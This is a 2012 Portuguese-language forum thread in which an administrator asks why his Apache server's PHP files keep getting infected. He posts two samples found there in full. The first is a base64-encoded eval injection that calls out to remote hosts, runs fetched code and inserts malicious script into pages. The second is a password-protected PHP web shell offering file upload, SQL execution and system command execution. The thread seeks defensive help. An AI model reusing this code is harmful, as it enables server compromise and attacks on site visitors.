Servidor Apache infectado com uma praga

nandodutra
(usa Ubuntu)

Enviado em 08/03/2012 - 11:20h

Bom dia, recentemente venho tendo dor de cabeça com uma praga no servidor web da empresa que trabalho, todos os arquivo PHP apareceram com o seguinte código no início:

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPSJodHRwOi8vc3dlZXBzdGFrZXNhbmRjb250ZXN0c2RvLmNvbS8iOyAgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICRfU0VSVkVSWydzX2ExJ109J2h0dHA6Ly93d3cubGlseXBvcGhpbHlwb3AuY29tL2dfbG9hZC5waHAnLiRkOyAgJF9TRVJWRVJbJ3NfYTInXT0naHR0cDovL3d3dy5sb2x5cG9waG9seXBvcC5jb20vZ19sb2FkLnBocCcuJGQ7ICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibW0ucGhwP2Q9MSI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9"));?>


Eu decodifiquei este código ai para ver o que era, e percebi que ele faz o redirecionando para alguns sites, mas está funcionando somente no IE. Eu baixei todos os arquivos do servidor e fiz a limpeza e upei novamente, também troquei as senhas de SSH, FTP e Banco de dados, mas recentemente aconteceu novamente, minha dúvida é como isso está acontecendo, alguém faz alguma ideia?

danniel-lara
(usa Fedora)

Enviado em 08/03/2012 - 11:29h

chegou ver os logs do apache ?
pode ajudar

nandodutra
(usa Ubuntu)

Enviado em 08/03/2012 - 14:48h

Fazendo uma varredura mais detalhada, achei alguns arquivos estranhos o seguinte conteúdo encriptado em base64:

error_reporting(E_ERROR | E_WARNING | E_PARSE);
ini_set('display_errors', "0");

if ($_POST["p"] != "") {
$_COOKIE["p"] = $_POST["p"];
setcookie("p", $_POST["p"], time() + 3600);
}

if (md5($_COOKIE["p"]) != "ca3f717a5e53f4ce47b9062cfbfb2458") {
echo "<form method=post>";
echo "<input type=text name=p value='' size=50>";
echo "<input type=submit name=B_SUBMIT value='Check'>";
echo "</form>";
exit;
}

if ($_POST["action"] == "upload") {

$l=$_FILES["filepath"]["tmp_name"];
$newpath=$_POST["newpath"];
if ($newpath!="") move_uploaded_file($l,$newpath);
echo "done";

} else if ($_POST["action"] == "sql") {

$query = $_POST["query"];
$query = str_replace("\'","'",$query);
$lnk = mysql_connect($_POST["server"], $_POST["user"], $_POST["pass"]) or die ('Not connected : ' . mysql_error());
mysql_select_db($_POST["db"], $lnk) or die ('Db failed: ' . mysql_error());
mysql_query($query, $lnk) or die ('Invalid query: ' . mysql_error());
mysql_close($lnk);
echo "done<br><pre>$query</pre>";

} else if ($_POST["action"] == "runphp") {

eval(base64_decode($_POST["cmd"]));

} else {

$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc)) {
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
} else $disablefunc = array();

function myshellexec($cmd) {
global $disablefunc;
$result = "";
if (!empty($cmd)) {
if (is_callable("exec") and !@in_array("exec",$disablefunc)) {@exec($cmd,$result); $result = @join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !@in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !@in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = @popen($cmd,"r"))) {
$result = "";
while(!feof($fp)) {$result .= @fread($fp,1024);}
@pclose($fp);
}
}
return $result;
}
$cmd = stripslashes($_POST["cmd"]);
$cmd_enc = stripslashes($_POST["cmd_enc"]);
if ($_POST["enc"]==1){
$cmd=base64_decode($cmd_enc);
}
?>
<script language=javascript type="text/javascript">
<!--
var END_OF_INPUT = -1;
var base64Chars = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/');
var reverseBase64Chars = new Array();
for (var i=0; i < base64Chars.length; i++){
reverseBase64Chars[base64Chars[i]] = i;
}
var base64Str;
var base64Count;
function setBase64Str(str){
base64Str = str;
base64Count = 0;
}
function readBase64(){
if (!base64Str) return END_OF_INPUT;
if (base64Count >= base64Str.length) return END_OF_INPUT;
var c = base64Str.charCodeAt(base64Count) & 0xff;
base64Count++;
return c;
}
function encodeBase64(str){
setBase64Str(str);
var result = '';
var inBuffer = new Array(3);
var lineCount = 0;
var done = false;
while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){
inBuffer[1] = readBase64();
inBuffer[2] = readBase64();
result += (base64Chars[ inBuffer[0] >> 2 ]);
if (inBuffer[1] != END_OF_INPUT){
result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
if (inBuffer[2] != END_OF_INPUT){
result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
result += (base64Chars [inBuffer[2] & 0x3F]);
} else {
result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]);
result += ('=');
done = true;
}
} else {
result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
result += ('=');
result += ('=');
done = true;
}
lineCount += 4;
if (lineCount >= 76){
result += ('\n');
lineCount = 0;
}
}
return result;
}
function encodeIt(f){
l=encodeBase64(f.cmd.value);
f.cmd_enc.value=l;
f.cmd.value="";
f.enc.value=1;
f.submit();
}
//--></script>
<?

echo "<form method=post action='' onSubmit='encodeIt(this);return false;'>";
echo "<input type=text name=cmd value=\"".str_replace("\"","&quot;",$cmd)."\" size=150>";
echo "<input type=hidden name=enc value='0'>";
echo "<input type=hidden name=cmd_enc value=''>";
echo "<input type=submit name=B_SUBMIT value='Go'>";
echo "</form>";
if ($cmd != "") {
echo "<pre>";
$cmd=stripslashes($cmd);
echo "Executing $cmd \n";
echo myshellexec("$cmd");
echo "</pre>";
exit;
}
}

/*-------------------------------------------------------------------------------------------------*/

Parece ser com este código que estão executando comandos no servidor.